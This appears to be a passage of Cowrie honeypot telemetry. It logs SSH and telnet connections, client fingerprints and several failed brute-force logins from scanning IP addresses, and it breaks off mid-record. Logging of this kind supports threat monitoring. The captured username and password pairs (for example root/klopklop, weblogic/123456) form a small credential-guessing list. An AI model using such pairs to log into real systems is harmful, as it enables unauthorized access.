{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55370,"dst_ip":"10.17.0.5","dst_port":23,"session":"69b0d1dd4dcd","protocol":"telnet","message":"New connection: 152.42.224.71:55370 (10.17.0.5:23) [session: 69b0d1dd4dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:58.382074Z"}
{"eventid":"cowrie.session.closed","duration":33.837918758392334,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:59.040799Z","src_ip":"152.42.224.71","session":"ad99b612f7cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":25994,"dst_ip":"10.17.0.5","dst_port":22,"session":"37ad0d91975c","protocol":"ssh","message":"New connection: 45.153.34.97:25994 (10.17.0.5:22) [session: 37ad0d91975c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:00.073928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:00.114669Z","src_ip":"45.153.34.97","session":"37ad0d91975c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:00.789664Z","src_ip":"45.153.34.97","session":"37ad0d91975c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"123456","message":"login attempt [weblogic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:01.701389Z","src_ip":"45.153.34.97","session":"37ad0d91975c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:02.908676Z","src_ip":"45.153.34.97","session":"37ad0d91975c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":11796,"dst_ip":"10.17.0.5","dst_port":22,"session":"122a9cf58f54","protocol":"ssh","message":"New connection: 45.153.34.97:11796 (10.17.0.5:22) [session: 122a9cf58f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:04.317760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:04.324171Z","src_ip":"45.153.34.97","session":"122a9cf58f54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:04.407188Z","src_ip":"45.153.34.97","session":"122a9cf58f54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"64.8","message":"Connection lost after 64.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:04.838870Z","src_ip":"174.179.237.141","session":"e42e217d01b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karel","password":"karel","message":"login attempt [karel/karel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:04.912327Z","src_ip":"45.153.34.97","session":"122a9cf58f54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:05.997979Z","src_ip":"45.153.34.97","session":"122a9cf58f54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":11798,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c54bcb85168","protocol":"ssh","message":"New connection: 45.153.34.97:11798 (10.17.0.5:22) [session: 6c54bcb85168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:08.913520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:08.918371Z","src_ip":"45.153.34.97","session":"6c54bcb85168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:09.001123Z","src_ip":"45.153.34.97","session":"6c54bcb85168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"1","message":"login attempt [ftp/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:09.378898Z","src_ip":"45.153.34.97","session":"6c54bcb85168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00109148025513,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:10.436295Z","src_ip":"152.42.224.71","session":"4f48e8d75021","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54596,"dst_ip":"10.17.0.5","dst_port":23,"session":"649e31eea426","protocol":"telnet","message":"New connection: 152.42.224.71:54596 (10.17.0.5:23) [session: 649e31eea426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:10.472723Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:11.683411Z","src_ip":"45.153.34.97","session":"6c54bcb85168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":64052,"dst_ip":"10.17.0.5","dst_port":22,"session":"e32b847fb628","protocol":"ssh","message":"New connection: 45.153.34.97:64052 (10.17.0.5:22) [session: e32b847fb628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:13.196964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:13.332572Z","src_ip":"45.153.34.97","session":"e32b847fb628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:13.336615Z","src_ip":"45.153.34.97","session":"e32b847fb628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54610,"dst_ip":"10.17.0.5","dst_port":23,"session":"9acebdc2ac91","protocol":"telnet","message":"New connection: 152.42.224.71:54610 (10.17.0.5:23) [session: 9acebdc2ac91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:13.611814Z"}
{"eventid":"cowrie.login.failed","username":"grok","password":"12345678","message":"login attempt [grok/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:14.185343Z","src_ip":"45.153.34.97","session":"e32b847fb628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37564,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6e1d8f97c08","protocol":"ssh","message":"New connection: 103.153.68.219:37564 (159.203.135.109:22) [session: e6e1d8f97c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:14.553701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:14.561923Z","src_ip":"103.153.68.219","session":"e6e1d8f97c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:14.809219Z","src_ip":"103.153.68.219","session":"e6e1d8f97c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.31","src_port":51072,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8913427f027","protocol":"ssh","message":"New connection: 94.26.106.31:51072 (10.17.0.5:22) [session: a8913427f027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:15.228223Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:15.233214Z","src_ip":"94.26.106.31","session":"a8913427f027","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:15.288336Z","src_ip":"45.153.34.97","session":"e32b847fb628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.31","src_port":51088,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0eee833e8f8","protocol":"ssh","message":"New connection: 94.26.106.31:51088 (10.17.0.5:22) [session: d0eee833e8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:15.340722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:15.345550Z","src_ip":"94.26.106.31","session":"d0eee833e8f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:15.432438Z","src_ip":"94.26.106.31","session":"d0eee833e8f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"klopklop","message":"login attempt [root/klopklop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:15.552637Z","src_ip":"103.153.68.219","session":"e6e1d8f97c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:15.612414Z","src_ip":"94.26.106.31","session":"d0eee833e8f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:16.700832Z","src_ip":"94.26.106.31","session":"d0eee833e8f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:16.803066Z","src_ip":"103.153.68.219","session":"e6e1d8f97c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":64068,"dst_ip":"10.17.0.5","dst_port":22,"session":"75365e9c0592","protocol":"ssh","message":"New connection: 45.153.34.97:64068 (10.17.0.5:22) [session: 75365e9c0592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:17.693125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:17.698680Z","src_ip":"45.153.34.97","session":"75365e9c0592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:17.786517Z","src_ip":"45.153.34.97","session":"75365e9c0592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bot","message":"login attempt [root/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:18.083536Z","src_ip":"45.153.34.97","session":"75365e9c0592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:19.185318Z","src_ip":"45.153.34.97","session":"75365e9c0592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":34962,"dst_ip":"10.17.0.5","dst_port":22,"session":"244c43be28c0","protocol":"ssh","message":"New connection: 45.153.34.97:34962 (10.17.0.5:22) [session: 244c43be28c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:22.003163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:22.119722Z","src_ip":"45.153.34.97","session":"244c43be28c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-